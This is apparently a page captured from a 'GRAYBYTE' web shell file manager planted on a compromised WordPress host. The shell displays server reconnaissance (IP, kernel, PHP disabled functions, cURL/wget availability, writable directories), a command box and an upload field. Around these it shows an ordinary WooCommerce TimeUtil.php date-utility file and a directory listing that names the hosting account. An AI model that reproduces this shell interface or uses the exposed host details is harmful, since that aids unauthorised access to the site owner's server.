GRAYBYTE WORDPRESS FILE MANAGER8259

Server IP : 162.213.255.40 / Your IP : 216.73.216.42
System : Linux server146.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/home/hellrfbn/public_html/wp-content/updraft/plugins-old/woocommerce/src/Utilities/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/hellrfbn/public_html/wp-content/updraft/plugins-old/woocommerce/src/Utilities//TimeUtil.php
<?php

namespace Automattic\WooCommerce\Utilities;

use \DateTime;
use \DateTimeZone;
use \Exception;

/**
 * Class with date and time utilities.
 */
class TimeUtil {

	/**
	 * Instance of a DateTimeZone object representing UTC.
	 *
	 * @var DateTimeZone
	 */
	private static DateTimeZone $utc_date_time_zone;

	/**
	 * Class constructor.
	 */
	public function __construct() {
		self::$utc_date_time_zone = new DateTimeZone( 'UTC' );
	}

	/**
	 * Get the instance of the DateTimeZone object representing UTC.
	 *
	 * @return DateTimeZone DateTimeZone object representing UTC.
	 */
	public static function get_utc_date_time_zone(): DateTimeZone {
		return self::$utc_date_time_zone;
	}

	/**
	 * Check if a string represents a valid date in a given format.
	 *
	 * @param string $date The date string to check.
	 * @param string $format The format to verify the date string against.
	 * @return bool True if $date represents a valid date/time according to $format, false otherwise.
	 */
	public static function is_valid_date( string $date, string $format = 'Y-m-d H:i:s' ): bool {
		$d = DateTime::createFromFormat( $format, $date );
		return $d && $d->format( $format ) === $date;
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
.htaccess
0.41 KB
July 23 2025 07:38:28
hellrfbn / hellrfbn
0644
ArrayUtil.php
11.27 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644
DiscountsUtil.php
1.104 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644
FeaturesUtil.php
4.49 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644
I18nUtil.php
1.687 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644
LoggingUtil.php
3.027 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644
NumberUtil.php
1.814 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644
OrderUtil.php
7.454 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644
PluginUtil.php
10.596 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644
RestApiUtil.php
0.763 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644
StringUtil.php
5.09 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644
TimeUtil.php
1.158 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF